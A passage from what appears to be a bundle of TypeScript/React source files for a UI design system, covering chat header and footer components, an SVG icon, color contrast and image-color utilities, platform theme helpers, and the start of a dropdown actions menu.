   return 'bg-ods-success';\n      case 'connecting':\n        return 'bg-ods-warning animate-pulse';\n      case 'disconnected':\n        return 'bg-ods-error';\n      default:\n        return 'bg-ods-text-tertiary';\n    }\n  };\n\n  return (\n    <div className=\"flex items-center\">\n      <output\n        className={cn('block h-2 w-2 rounded-full', getStatusStyles())}\n        aria-label={`Connection status: ${status}`}\n        title={status === 'connected' ? 'Connected' : status === 'connecting' ? 'Connecting...' : 'Disconnected'}\n      />\n    </div>\n  );\n};\n\nconst ChatContainer = forwardRef<HTMLDivElement, ChatContainerProps>(({ className, children, ...props }, ref) => {\n  return (\n    <div\n      ref={ref}\n      className={cn(\n        'flex h-screen w-full flex-col',\n        'bg-ods-bg text-ods-text-primary',\n        'px-4 pb-8 pt-10 md:px-6 lg:px-8',\n        className,\n      )}\n      {...props}\n    >\n      {children}\n    </div>\n  );\n});\n\nChatContainer.displayName = 'ChatContainer';\n\nconst ChatHeader = forwardRef<HTMLDivElement, ChatHeaderProps>(\n  (\n    {\n      className,\n      userName = 'Grace \"Fae\" Meadows',\n      userAvatar,\n      userIcon,\n      onSettingsClick,\n      onNewChat,\n      onClose,\n      onBack,\n      showNewChat = false,\n      connectionStatus = 'disconnected',\n      serverUrl = null,\n      headerActions,\n      ticketInfo,\n      mspOrganization,\n      isMspLoading = false,\n      fullWidth = false,\n      bare = false,\n      isLoading = false,\n      ...props\n    },\n    ref,\n  ) => {\n    const cardClasses = bare ? '' : 'rounded-md bg-ods-card border border-ods-border';\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          // `fullWidth` drops the centered-narrow content column for\n          // chats hosted in side panels where 600px would float in\n          // the middle of a wider container.\n          fullWidth ? 'relative w-full' : 'relative mx-auto w-full max-w-ods-content-narrow',\n          className,\n        )}\n        {...props}\n      >\n        {onBack && (\n          <Button\n            onClick={onBack}\n            variant=\"transparent\"\n            size=\"icon\"\n            aria-label=\"Back\"\n            leftIcon={<Chevron02LeftIcon size={24} className=\"text-ods-text-primary\" />}\n            className={cn(cardClasses, 'absolute right-full top-0 mr-[var(--spacing-system-s)] hover:bg-ods-bg-hover')}\n          />\n        )}\n        <div className={cardClasses}>\n          <div className=\"flex items-center justify-between gap-4 px-4 py-3\">\n            {isLoading ? (\n              <div className=\"flex items-center gap-3\">\n                {/* 64px round avatar placeholder — matches the `w-16 h-16`\n                    rounded-full avatar / userIcon block below. */}\n                <Skeleton className=\"h-16 w-16 shrink-0 rounded-full\" />\n                <div className=\"flex flex-col gap-1\">\n                  {/* Name line — sized to the `text-h3` name. */}\n                  <Skeleton className=\"h-6 w-40\" />\n                  {/* Server line — sized to the `text-h4` secondary row. */}\n                  <Skeleton className=\"h-4 w-28\" />\n                </div>\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-3\">\n                {userIcon ? (\n                  <div className=\"flex h-16 w-16 items-center justify-center rounded-full bg-ods-accent\">\n                    {userIcon}\n                  </div>\n                ) : (\n                  <Avatar\n                    src={userAvatar}\n                    alt={userName}\n                    fallback={userName}\n                    size=\"xl\"\n                    variant=\"round\"\n                    className=\"bg-ods-flamingo-pink\"\n                  />\n                )}\n                <div className=\"flex flex-col\">\n                  <span className=\"text-h3\">{userName}</span>\n                  <div className=\"flex items-center gap-2\">\n                    {serverUrl && (\n                      <>\n                        <span className=\"text-ods-text-secondary text-h4\">{serverUrl}</span>\n                        <ConnectionIndicator status={connectionStatus} />\n                      </>\n                    )}\n                  </div>\n                </div>\n              </div>\n            )}\n            <div className=\"flex items-center gap-1\">\n              {showNewChat && onNewChat && (\n                <Button\n                  onClick={onNewChat}\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  leftIcon={<PlusCircleIcon className=\"h-5 w-5\" whiteOverlay />}\n                  className=\"text-ods-text-primary hover:bg-ods-bg-hover\"\n                >\n                  New Chat\n                </Button>\n              )}\n              {onClose && (\n                <Button\n                  onClick={onClose}\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  aria-label=\"Close\"\n                  className=\"!p-1.5 text-ods-text-muted hover:bg-ods-bg-hover hover:text-ods-text-primary\"\n                >\n                  <XmarkIcon size={16} />\n                </Button>\n              )}\n              {headerActions}\n            </div>\n          </div>\n          {/* MSP branding slot — home-screen only; `ticketInfo` (open chat)\n              claims this space, so it wins when both are provided. The card\n              already draws the chrome: strip the section's own ring and keep\n              only the bottom rounding so its bg fits the card corners. */}\n          {!ticketInfo && (isMspLoading || mspOrganization) && (\n            <>\n              <div className=\"h-px bg-ods-border\" />\n              {isMspLoading || !mspOrganization ? (\n                <MspOrganizationCardSkeleton className={cn('rounded-none ring-0', !bare && 'rounded-b-md')} />\n              ) : (\n                <MspOrganizationCard\n                  {...mspOrganization}\n                  className={cn('rounded-none ring-0', !bare && 'rounded-b-md', mspOrganization.className)}\n                />\n              )}\n            </>\n          )}\n          {ticketInfo && (\n            <>\n              <div className=\"h-px bg-ods-border\" />\n              <div className=\"flex items-center justify-between gap-4 px-4 py-2\">\n                <div className=\"flex min-w-0 flex-col\">\n                  <span\n                    className=\"truncate text-heading-3\"\n                    title={typeof ticketInfo.title === 'string' ? ticketInfo.title : undefined}\n                  >\n                    {ticketInfo.title}\n                  </span>\n                  {ticketInfo.meta && (\n                    <div\n                      className=\"truncate text-ods-text-secondary text-h6\"\n                      title={typeof ticketInfo.meta === 'string' ? ticketInfo.meta : undefined}\n                    >\n                      {ticketInfo.meta}\n                    </div>\n                  )}\n                </div>\n                {(ticketInfo.status || ticketInfo.statusName) && (\n                  <TicketStatusTag\n                    {...resolveStatusTagProps({\n                      status: ticketInfo.status,\n                      statusKind: ticketInfo.statusKind,\n                      statusName: ticketInfo.statusName,\n                      statusColor: ticketInfo.statusColor,\n                    })}\n                  />\n                )}\n              </div>\n            </>\n          )}\n        </div>\n      </div>\n    );\n  },\n);\nChatHeader.displayName = 'ChatHeader';\n\nconst ChatContent = forwardRef<HTMLDivElement, HTMLAttributes<HTMLDivElement>>(\n  ({ className, children, ...props }, ref) => {\n    return (\n      <div ref={ref} className={cn('flex min-h-0 flex-1 flex-col', className)} {...props}>\n        {children}\n      </div>\n    );\n  },\n);\nChatContent.displayName = 'ChatContent';\n\n/**\n * `ChatFooter` props.\n *\n * Layout API:\n *   - `fullWidth` (preferred) — drop the inner-wrapper\n *     `max-w-ods-content-narrow` so the footer fills the parent.\n *   - `contentClassName` (legacy escape hatch) — explicit class names\n *     applied to the inner wrapper. Use only when `fullWidth` is too\n *     coarse (e.g. custom max-w value).\n */\nexport interface ChatFooterProps extends HTMLAttributes<HTMLDivElement> {\n  /** Same `fullWidth` semantics as `ChatHeaderProps.fullWidth` — drops\n   *  the inner wrapper's `max-w-ods-content-narrow` so the footer\n   *  spans the full parent width. */\n  fullWidth?: boolean;\n  /** @deprecated Prefer `fullWidth` for the full-panel-width use case.\n   *  This prop remains supported for callers that need a NON-binary\n   *  override (custom max-w value, custom padding, etc.). */\n  contentClassName?: string;\n}\n\nconst ChatFooter = forwardRef<HTMLDivElement, ChatFooterProps>(\n  ({ className, contentClassName, fullWidth = false, children, ...props }, ref) => {\n    return (\n      <div ref={ref} className={cn('w-full flex-shrink-0 px-0 pb-0 pt-2 md:px-0', className)} {...props}>\n        <div\n          className={cn(\n            // `fullWidth=true` opts out of the centered-narrow column;\n            // `fullWidth=false` (default) preserves the legacy 600px\n            // max-width. `contentClassName` is appended last so a\n            // legacy caller passing it can still tweak after the\n            // fullWidth decision.\n            fullWidth ? 'w-full' : 'mx-auto w-full max-w-ods-content-narrow',\n            contentClassName,\n          )}\n        >\n          {children}\n        </div>\n      </div>\n    );\n  },\n);\nChatFooter.displayName = 'ChatFooter';\n\nexport { ChatContainer, ChatHeader, ChatContent, ChatFooter };\n","import type React from 'react';\n\ninterface PlusCircleIconProps extends React.SVGProps<SVGSVGElement> {\n  className?: string;\n  whiteOverlay?: boolean;\n  iconSize?: number;\n}\n\nexport function PlusCircleIcon({ className, whiteOverlay = false, iconSize = 24, ...props }: PlusCircleIconProps) {\n  return (\n    <svg\n      width={iconSize}\n      height={iconSize}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n      {...props}\n    >\n      <path\n        d=\"M20.8745 12.0005C20.8745 7.09912 16.9018 3.12526 12.0005 3.125C7.09896 3.125 3.125 7.09896 3.125 12.0005C3.12526 16.9018 7.09912 20.8745 12.0005 20.8745C16.9016 20.8742 20.8742 16.9016 20.8745 12.0005ZM23.1245 12.0005C23.1242 18.1443 18.1443 23.1242 12.0005 23.1245C5.85648 23.1245 0.875264 18.1444 0.875 12.0005C0.875 5.85632 5.85632 0.875 12.0005 0.875C18.1444 0.875264 23.1245 5.85648 23.1245 12.0005Z\"\n        fill={whiteOverlay ? 'white' : '#5EA62E'}\n      />\n      <path\n        d=\"M10.8755 15.9995V13.1255H8C7.37884 13.1255 6.87526 12.6216 6.875 12.0005C6.875 11.3792 7.37868 10.8755 8 10.8755H10.8755V8C10.8755 7.37868 11.3792 6.875 12.0005 6.875C12.6216 6.87526 13.1255 7.37884 13.1255 8V10.8755H15.9995L16.1152 10.8813C16.6824 10.9391 17.1245 11.4181 17.1245 12.0005C17.1243 12.5827 16.6823 13.062 16.1152 13.1196L15.9995 13.1255H13.1255V15.9995C13.1255 16.6207 12.6216 17.1242 12.0005 17.1245C11.3792 17.1245 10.8755 16.6208 10.8755 15.9995Z\"\n        fill={whiteOverlay ? 'white' : '#5EA62E'}\n      />\n    </svg>\n  );\n}\n","// Color analysis utilities for dynamic badge colors\n\nexport interface ColorPalette {\n  name: string;\n  hex: string;\n  rgb: [number, number, number];\n}\n\n// Your design system color palette - Star colors only\nexport const DESIGN_PALETTE: ColorPalette[] = [\n  { name: 'yellow', hex: '#FFC008', rgb: [255, 192, 8] },\n  { name: 'black', hex: '#161616', rgb: [22, 22, 22] },\n  { name: 'gray', hex: '#888888', rgb: [136, 136, 136] },\n];\n\n/**\n * Convert hex color to RGB\n */\nexport function hexToRgb(hex: string): [number, number, number] {\n  // Expand shorthand (#fc0 -> #ffcc00) so legacy/hand-entered values classify\n  // by their real color instead of falling through to black.\n  const normalized = hex.replace(/^#?([a-f\\d])([a-f\\d])([a-f\\d])$/i, (_, r, g, b) => `${r}${r}${g}${g}${b}${b}`);\n  const result = /^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$/i.exec(normalized);\n  return result ? [parseInt(result[1], 16), parseInt(result[2], 16), parseInt(result[3], 16)] : [0, 0, 0];\n}\n\n/**\n * Calculate relative luminance for contrast calculations\n */\nfunction getLuminance(rgb: [number, number, number]): number {\n  const [r, g, b] = rgb.map(channel => {\n    const c = channel / 255;\n    return c <= 0.03928 ? c / 12.92 : Math.pow((c + 0.055) / 1.055, 2.4);\n  });\n  return 0.2126 * r + 0.7152 * g + 0.0722 * b;\n}\n\n/**\n * Calculate contrast ratio between two colors\n */\nexport function getContrastRatio(color1: [number, number, number], color2: [number, number, number]): number {\n  const lum1 = getLuminance(color1);\n  const lum2 = getLuminance(color2);\n  const brightest = Math.max(lum1, lum2);\n  const darkest = Math.min(lum1, lum2);\n  return (brightest + 0.05) / (darkest + 0.05);\n}\n\n/**\n * Pick the readable foreground shade for an arbitrary background hex — 'dark'\n * when dark text has the better WCAG contrast on it, 'light' otherwise.\n * Callers map the result to an ODS THEME, not to color literals (e.g. the\n * announcement bar scopes its content with .theme-light when the background\n * needs dark-on-light, .theme-dark otherwise — every color then resolves\n * from the active theme's own tokens).\n */\nexport function pickReadableTextColor(bgHex: string): 'dark' | 'light' {\n  const bg = hexToRgb(bgHex);\n  const darkContrast = getContrastRatio(bg, [26, 26, 26]);\n  const lightContrast = getContrastRatio(bg, [250, 250, 250]);\n  return darkContrast >= lightContrast ? 'dark' : 'light';\n}\n\n/**\n * Extract dominant color from image canvas\n */\nexport function extractDominantColor(canvas: HTMLCanvasElement): [number, number, number] {\n  const ctx = canvas.getContext('2d');\n  if (!ctx) return [128, 128, 128]; // fallback gray\n\n  const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);\n  const data = imageData.data;\n\n  // Sample pixels in a grid pattern for performance\n  const sampleSize = Math.max(1, Math.floor(data.length / (4 * 1000))); // ~1000 samples\n  const colorCounts: { [key: string]: number } = {};\n\n  for (let i = 0; i < data.length; i += 4 * sampleSize) {\n    const r = data[i];\n    const g = data[i + 1];\n    const b = data[i + 2];\n    const alpha = data[i + 3];\n\n    // Skip transparent pixels\n    if (alpha < 128) continue;\n\n    // Bucket colors to reduce noise (round to nearest 32)\n    const bucketR = Math.round(r / 32) * 32;\n    const bucketG = Math.round(g / 32) * 32;\n    const bucketB = Math.round(b / 32) * 32;\n\n    const key = `${bucketR},${bucketG},${bucketB}`;\n    colorCounts[key] = (colorCounts[key] || 0) + 1;\n  }\n\n  // Find most common color\n  let maxCount = 0;\n  let dominantColor: [number, number, number] = [128, 128, 128];\n\n  for (const [colorKey, count] of Object.entries(colorCounts)) {\n    if (count > maxCount) {\n      maxCount = count;\n      const [r, g, b] = colorKey.split(',').map(Number);\n      dominantColor = [r, g, b];\n    }\n  }\n\n  return dominantColor;\n}\n\n/**\n * Find the best contrasting color from the design palette\n */\nexport function getBestContrastColor(imageColor: [number, number, number]): ColorPalette {\n  let bestColor = DESIGN_PALETTE[0];\n  let bestContrast = 0;\n\n  for (const color of DESIGN_PALETTE) {\n    const contrast = getContrastRatio(imageColor, color.rgb);\n    if (contrast > bestContrast) {\n      bestContrast = contrast;\n      bestColor = color;\n    }\n  }\n\n  // Ensure minimum contrast ratio of 3:1 for readability\n  return bestContrast >= 3 ? bestColor : DESIGN_PALETTE.find(c => c.name === 'black') || bestColor;\n}\n\n/**\n * Load image and analyze its dominant color\n */\nexport function analyzeImageColor(imageSrc: string): Promise<ColorPalette> {\n  return new Promise((resolve, reject) => {\n    const img = new Image();\n    img.crossOrigin = 'anonymous';\n\n    img.onload = () => {\n      try {\n        const canvas = document.createElement('canvas');\n        const ctx = canvas.getContext('2d');\n\n        if (!ctx) {\n          reject(new Error('Could not get canvas context'));\n          return;\n        }\n\n        // Resize to smaller canvas for performance\n        const maxSize = 100;\n        const scale = Math.min(maxSize / img.width, maxSize / img.height);\n        canvas.width = img.width * scale;\n        canvas.height = img.height * scale;\n\n        ctx.drawImage(img, 0, 0, canvas.width, canvas.height);\n\n        const dominantColor = extractDominantColor(canvas);\n        const bestContrastColor = getBestContrastColor(dominantColor);\n\n        resolve(bestContrastColor);\n      } catch (error) {\n        reject(error);\n      }\n    };\n\n    img.onerror = () => reject(new Error('Failed to load image'));\n    img.src = imageSrc;\n  });\n}\n\n/**\n * Extract the dominant edge/corner color from an image URL.\n * Used for background fill behind images in emails and cards.\n * Client-side only (uses canvas). Returns hex color string.\n */\nexport async function extractImageEdgeColorAsync(imageUrl: string): Promise<string> {\n  return new Promise(resolve => {\n    if (typeof window === 'undefined') {\n      resolve('#000000');\n      return;\n    }\n    const img = new Image();\n    img.crossOrigin = 'anonymous';\n    img.onload = () => {\n      try {\n        const canvas = document.createElement('canvas');\n        const ctx = canvas.getContext('2d');\n        if (!ctx) {\n          resolve('#000000');\n          return;\n        }\n        const maxSize = 50;\n        const scale = Math.min(maxSize / img.naturalWidth, maxSize / img.naturalHeight);\n        const w = Math.round(img.naturalWidth * scale);\n        const h = Math.round(img.naturalHeight * scale);\n        canvas.width = w;\n        canvas.height = h;\n        ctx.drawImage(img, 0, 0, w, h);\n        const data = ctx.getImageData(0, 0, w, h).data;\n        // Sample edge pixels (15% band on all sides) with color bucketing\n        const edgeW = Math.max(2, Math.round(w * 0.15));\n        const edgeH = Math.max(2, Math.round(h * 0.15));\n        const bucketSize = 32;\n        const buckets = new Map<string, { r: number; g: number; b: number; count: number }>();\n        for (let y = 0; y < h; y++) {\n          for (let x = 0; x < w; x++) {\n            if (!(x < edgeW || x >= w - edgeW || y < edgeH || y >= h - edgeH)) continue;\n            const i = (y * w + x) * 4;\n            if (data[i + 3] < 128) continue;\n            const br = Math.floor(data[i] / bucketSize) * bucketSize;\n            const bg = Math.floor(data[i + 1] / bucketSize) * bucketSize;\n            const bb = Math.floor(data[i + 2] / bucketSize) * bucketSize;\n            const key = `${br},${bg},${bb}`;\n            const existing = buckets.get(key);\n            if (existing) {\n              existing.r += data[i];\n              existing.g += data[i + 1];\n              existing.b += data[i + 2];\n              existing.count++;\n            } else {\n              buckets.set(key, { r: data[i], g: data[i + 1], b: data[i + 2], count: 1 });\n            }\n          }\n        }\n        let best = { r: 0, g: 0, b: 0, count: 0 };\n        for (const b of buckets.values()) {\n          if (b.count > best.count) best = b;\n        }\n        if (best.count === 0) {\n          resolve('#000000');\n          return;\n        }\n        const r = Math.round(best.r / best.count),\n          g = Math.round(best.g / best.count),\n          b = Math.round(best.b / best.count);\n        resolve(\n          `#${r.toString(16).padStart(2, '0')}${g.toString(16).padStart(2, '0')}${b.toString(16).padStart(2, '0')}`,\n        );\n      } catch {\n        resolve('#000000');\n      }\n    };\n    img.onerror = () => resolve('#000000');\n    img.src = imageUrl;\n  });\n}\n","// Stub for ODS color tokens\nexport const colorTokens = {\n  primary: '#FFC008',\n  secondary: '#161616',\n  background: '#FAFAFA',\n  surface: '#FFFFFF',\n  text: {\n    primary: '#161616',\n    secondary: '#666666',\n    inverse: '#FFFFFF',\n  },\n  border: '#E5E5E5',\n} as const;\n\nexport function getColorValue(tokenPath: string): string {\n  // Simple stub implementation\n  return tokenPath.includes('primary') ? '#FFC008' : '#161616';\n}\n","/**\n * ODS Color Token Utility Functions\n *\n * Provides runtime utilities for working with ODS color tokens\n */\n\nimport type { PlatformName } from '../types/platform';\nimport { pickReadableTextColor } from './color-analysis';\nimport { clamp } from './common';\nimport { colorTokens as odsTokens } from './ods-color-tokens-stub';\nimport {\n  PLATFORM_THEME,\n  getPlatformAccentColor as identityAccentColor,\n  getPlatformDisplayName,\n} from './platform-identity';\n\n/** The token map, viewed as a flat key→value lookup. Nested groups (`text`)\n *  are not addressable by a flat key, so `lookupToken` returns only string\n *  leaves — previously an `any` index could hand a caller the nested OBJECT,\n *  which then stringified to \"[object Object]\" in `applyColorToken`. */\nconst TOKEN_MAP: Readonly<Record<string, unknown>> = odsTokens;\n\nfunction lookupToken(tokenKey: string): string | undefined {\n  const value = TOKEN_MAP[tokenKey];\n  return typeof value === 'string' ? value : undefined;\n}\n\n// THE platform union is `PlatformName` (12 platforms). This alias is kept so\n// existing importers of `Platform` from this module keep compiling.\nexport type Platform = PlatformName;\nexport type ColorCategory = 'open' | 'flamingo' | 'system' | 'attention';\nexport type ColorVariant = 'base' | 'hover' | 'active' | 'focus' | 'disabled';\n\n/**\n * Gets the raw ODS token value for a specific color\n */\nexport function getODSToken(\n  category: ColorCategory,\n  color: string,\n  variant: ColorVariant = 'base',\n): string | undefined {\n  const tokenKey = `${category}-${color}-${variant}`;\n  return lookupToken(tokenKey);\n}\n\n// The accent colour is owned by the platform-identity leaf (all 12 platforms,\n// derived from the brand record); re-exported here for existing importers.\nexport { getPlatformAccentColor } from './platform-identity';\n\n/**\n * Gets the current platform from environment or DOM\n */\nexport function getCurrentPlatform(): PlatformName {\n  // Server-side: use environment variable\n  if (typeof window === 'undefined') {\n    return (process.env.NEXT_PUBLIC_APP_TYPE as PlatformName) || 'openmsp';\n  }\n\n  // Client-side: check DOM attribute first, fallback to environment\n  const domPlatform = document.documentElement.getAttribute('data-app-type');\n  if (domPlatform) {\n    return domPlatform as PlatformName;\n  }\n\n  return (process.env.NEXT_PUBLIC_APP_TYPE as PlatformName) || 'openmsp';\n}\n\n/**\n * Switches the platform theme by updating CSS custom properties\n */\nexport function switchPlatformTheme(platform: Platform): void {\n  if (typeof window === 'undefined') return;\n\n  const root = document.documentElement;\n  root.setAttribute('data-app-type', platform);\n\n  // Note: Cannot modify process.env at runtime in production\n  // This would only work in development/test environments\n\n  // Dispatch custom event for components to react to platform changes\n  window.dispatchEvent(\n    new CustomEvent('platformThemeChanged', {\n      detail: { platform },\n    }),\n  );\n}\n\n/**\n * Gets a semantic color value for the current platform\n */\nexport function getSemanticColor(semanticName: string, platform?: Platform): string | undefined {\n  if (typeof window === 'undefined') return undefined;\n\n  const currentPlatform = platform || getCurrentPlatform();\n\n  // Switch platform temporarily to get the color\n  const originalPlatform = getCurrentPlatform();\n  if (currentPlatform !== originalPlatform) {\n    switchPlatformTheme(currentPlatform);\n  }\n\n  const testElement = document.createElement('div');\n  document.body.appendChild(testElement);\n\n  const computedStyle = getComputedStyle(testElement);\n  const colorValue = computedStyle.getPropertyValue(`--color-${semanticName}`);\n\n  document.body.removeChild(testElement);\n\n  // Restore original platform\n  if (currentPlatform !== originalPlatform) {\n    switchPlatformTheme(originalPlatform);\n  }\n\n  return colorValue.trim() || undefined;\n}\n\n/**\n * Converts an ODS token to its corresponding Tailwind class\n */\nexport function tokenToTailwindClass(tokenKey: string, type: 'bg' | 'text' | 'border' = 'bg'): string | undefined {\n  // Map common tokens to Tailwind classes\n  const tokenMappings: Record<string, string> = {\n    // Accent colors\n    'accent-primary': 'accent',\n    'accent-hover': 'accent-hover',\n    'accent-active': 'accent-active',\n\n    // Background colors\n    bg: 'bg',\n    'bg-card': 'card',\n    'bg-hover': 'bg-hover',\n    'bg-active': 'bg-active',\n\n    // Text colors\n    'text-primary': 'text-primary',\n    'text-secondary': 'text-secondary',\n    'text-muted': 'text-muted',\n    'text-disabled': 'text-disabled',\n    'text-on-accent': 'text-on-accent',\n    'text-on-dark': 'text-on-dark',\n\n    // Border colors\n    'border-default': 'border',\n    'border-hover': 'border-hover',\n    'border-focus': 'border-focus',\n\n    // Status colors\n    success: 'success',\n    error: 'error',\n    warning: 'warning',\n    info: 'info',\n  };\n\n  const mappedToken = tokenMappings[tokenKey];\n  if (!mappedToken) return undefined;\n\n  return `${type}-ods-${mappedToken}`;\n}\n\n/**\n * Gets all available ODS tokens for a category\n */\nexport function getTokensByCategory(category: ColorCategory): Record<string, string> {\n  const tokens: Record<string, string> = {};\n\n  Object.entries(odsTokens).forEach(([key, value]) => {\n    if (key.startsWith(`${category}-`)) {\n      tokens[key] = value as string;\n    }\n  });\n\n  return tokens;\n}\n\n/**\n * Validates if a color token exists in the ODS system\n */\nexport function isValidODSToken(tokenKey: string): boolean {\n  return tokenKey in odsTokens;\n}\n\n/**\n * Gets the platform configuration for theming\n */\nexport function getPlatformConfig(platform?: Platform) {\n  const currentPlatform = platform || getCurrentPlatform();\n  // STATED CHANGE: `isDarkTheme` is now `PLATFORM_THEME` (dark for every\n  // platform, which is what every `[data-app-type]` block actually inherits).\n  // It used to read `platform !== 'flamingo'`, which was stale.\n  const isDarkTheme = PLATFORM_THEME === 'dark';\n\n  return {\n    platform: currentPlatform,\n    accentColor: identityAccentColor(currentPlatform),\n    isDarkTheme,\n    isLightTheme: !isDarkTheme,\n    brandName: getPlatformDisplayName(currentPlatform),\n  };\n}\n\n/**\n * Applies a color token as a CSS custom property\n */\nexport function applyColorToken(element: HTMLElement, property: string, tokenKey: string): void {\n  const tokenValue = lookupToken(tokenKey);\n  if (tokenValue) {\n    element.style.setProperty(`--${property}`, tokenValue);\n  }\n}\n\n/**\n * Creates a color interpolation between two ODS tokens\n */\nexport function interpolateColors(startToken: string, endToken: string, progress: number): string {\n  const startColor = lookupToken(startToken);\n  const endColor = lookupToken(endToken);\n\n  if (!startColor || !endColor) {\n    return startColor || endColor || '#000000';\n  }\n\n  // Was a pair of local `hexToRgb`/`rgbToHex` copies that shadowed the exported\n  // ones below. They were not just duplicates — the local `rgbToHex` used the\n  // `(1 << 24)` trick, which produces garbage for a channel outside 0-255, while\n  // the exported one clamps and pads. Black-on-unparseable is kept because that\n  // is what the local `hexToRgb` did; the exported one returns null.\n  const BLACK = { r: 0, g: 0, b: 0 };\n  const start = hexToRgb(startColor) ?? BLACK;\n  const end = hexToRgb(endColor) ?? BLACK;\n\n  const interpolated = {\n    r: start.r + (end.r - start.r) * progress,\n    g: start.g + (end.g - start.g) * progress,\n    b: start.b + (end.b - start.b) * progress,\n  };\n\n  return rgbToHex(interpolated.r, interpolated.g, interpolated.b);\n}\n\n/**\n * Hook for React components to use platform-aware colors\n */\nexport function usePlatformColors(platform?: Platform) {\n  const currentPlatform = platform || getCurrentPlatform();\n  const config = getPlatformConfig(currentPlatform);\n\n  return {\n    platform: currentPlatform,\n    accentColor: config.accentColor,\n    isDarkTheme: config.isDarkTheme,\n    isLightTheme: config.isLightTheme,\n    brandName: config.brandName,\n    getToken: (category: ColorCategory, color: string, variant?: ColorVariant) => getODSToken(category, color, variant),\n    switchTheme: (newPlatform: Platform) => switchPlatformTheme(newPlatform),\n    getSemanticColor: (semanticName: string) => getSemanticColor(semanticName, currentPlatform),\n  };\n}\n\n/**\n * Picks a near-black or near-white text color with adequate contrast on `hex`.\n * Thin wrapper over `pickReadableTextColor` (color-analysis.ts) — ONE\n * light-or-dark decision formula (WCAG relative luminance) for the whole lib.\n */\nexport function getReadableTextColor(hex: string): string {\n  return pickReadableTextColor(hex) === 'dark' ? '#212121' : '#fafafa';\n}\n\n// Hex <-> RGB <-> HSL. Hex is #rrggbb lowercase; hexToRgb returns null on invalid.\n\nexport const HEX_PATTERN = /^#[0-9a-fA-F]{6}$/;\n\nexport function hexToRgb(hex: string): { r: number; g: number; b: number } | null {\n  if (!HEX_PATTERN.test(hex)) return null;\n  const n = Number.parseInt(hex.slice(1), 16);\n  return { r: (n >> 16) & 0xff, g: (n >> 8) & 0xff, b: n & 0xff };\n}\n\nexport function rgbToHex(r: number, g: number, b: number): string {\n  const to = (n: number) => clamp(Math.round(n), 0, 255).toString(16).padStart(2, '0');\n  return `#${to(r)}${to(g)}${to(b)}`;\n}\n\n// Ticket-status interaction states. The design-system presets derive their\n// hover/active fills by darkening each RGB channel a fixed step (10 → hover,\n// 20 → active). Applying the same rule to user-picked custom colors keeps their\n// interaction states consistent with the presets without hardcoding a variant\n// per color. Channels floor at 0 via rgbToHex's clamp.\nconst HOVER_DARKEN_STEP = 10;\nconst ACTIVE_DARKEN_STEP = 20;\n\nfunction darkenByStep(hex: string, step: number): string {\n  const rgb = hexToRgb(hex);\n  if (!rgb) return hex;\n  return rgbToHex(rgb.r - step, rgb.g - step, rgb.b - step);\n}\n\nexport function deriveHoverColor(hex: string): string {\n  return darkenByStep(hex, HOVER_DARKEN_STEP);\n}\n\nexport function deriveActiveColor(hex: string): string {\n  return darkenByStep(hex, ACTIVE_DARKEN_STEP);\n}\n\nexport function rgbToHsl(r: number, g: number, b: number): { h: number; s: number; l: number } {\n  const rn = r / 255;\n  const gn = g / 255;\n  const bn = b / 255;\n  const max = Math.max(rn, gn, bn);\n  const min = Math.min(rn, gn, bn);\n  const l = (max + min) / 2;\n  if (max === min) return { h: 0, s: 0, l: Math.round(l * 100) };\n  const d = max - min;\n  const s = l > 0.5 ? d / (2 - max - min) : d / (max + min);\n  let h: number;\n  if (max === rn) h = (gn - bn) / d + (gn < bn ? 6 : 0);\n  else if (max === gn) h = (bn - rn) / d + 2;\n  else h = (rn - gn) / d + 4;\n  h *= 60;\n  return { h: Math.round(h), s: Math.round(s * 100), l: Math.round(l * 100) };\n}\n\nexport function hslToRgb(h: number, s: number, l: number): { r: number; g: number; b: number } {\n  const sn = clamp(s, 0, 100) / 100;\n  const ln = clamp(l, 0, 100) / 100;\n  const hn = ((h % 360) + 360) % 360;\n  if (sn === 0) {\n    const v = Math.round(ln * 255);\n    return { r: v, g: v, b: v };\n  }\n  const q = ln < 0.5 ? ln * (1 + sn) : ln + sn - ln * sn;\n  const p = 2 * ln - q;\n  const hue2rgb = (t: number) => {\n    let tn = t;\n    if (tn < 0) tn += 1;\n    if (tn > 1) tn -= 1;\n    if (tn < 1 / 6) return p + (q - p) * 6 * tn;\n    if (tn < 1 / 2) return q;\n    if (tn < 2 / 3) return p + (q - p) * (2 / 3 - tn) * 6;\n    return p;\n  };\n  const hk = hn / 360;\n  return {\n    r: Math.round(hue2rgb(hk + 1 / 3) * 255),\n    g: Math.round(hue2rgb(hk) * 255),\n    b: Math.round(hue2rgb(hk - 1 / 3) * 255),\n  };\n}\n","'use client';\n\nimport * as DropdownMenuPrimitive from '@radix-ui/react-dropdown-menu';\nimport { useControllableState } from '@radix-ui/react-use-controllable-state';\nimport { Check } from 'lucide-react';\nimport React, { useCallback } from 'react';\nimport Link from '../../embed-shims/next-link';\nimport { cn } from '../../utils/cn';\nimport { Chevron02RightIcon, Ellipsis01Icon } from '../icons-v2-generated';\nimport { ActionsMenuHeaderContext } from './actions-menu-header-context';\nimport { Button } from './button';\nimport { DropdownMenu, DropdownMenuContent, DropdownMenuTrigger } from './dropdown-menu';\nimport { useReportOverlayOpen } from './overlay-open-registry';\nimport { COLLISION_PADDING_PX, useCollisionBoundary, usePortalContainer } from './portal-container';\n\n/** Trigger movement (px) that counts as \"the user scrolled away\" rather than\n *  touch-momentum jitter or the sub-pixel settle right after opening. */\nconst SCROLL_DISMISS_THRESHOLD_PX = 12;\n\nexport interface ActionsMenuItemIconAction {\n  icon: React.ReactNode;\n  'aria-label': string;\n  onClick?: () => void;\n  href?: string;\n  openInNewTab?: boolean;\n  disabled?: boolean;\n}\n\nexport interface ActionsMenuItem {\n  id: string;\n  label: string;\n  icon?: React.ReactNode;\n  onClick?: () => void;\n  disabled?: boolean;\n  type?: 'item' | 'checkbox' | 'submenu' | 'separator';\n  checked?: boolean;\n  /**\n   * Keep the dropdown open after this item is clicked instead of closing it\n   * (e.g. multi-select add). Only affects ActionsMenuDropdown; `checkbox` and\n   * `submenu` items always keep the menu open regardless. Defaults to closing.\n   */\n  closeOnSelect?: boolean;\n  submenu?: ActionsMenuItem[];\n  /** Render the row in the error/destructive color (label + icon). 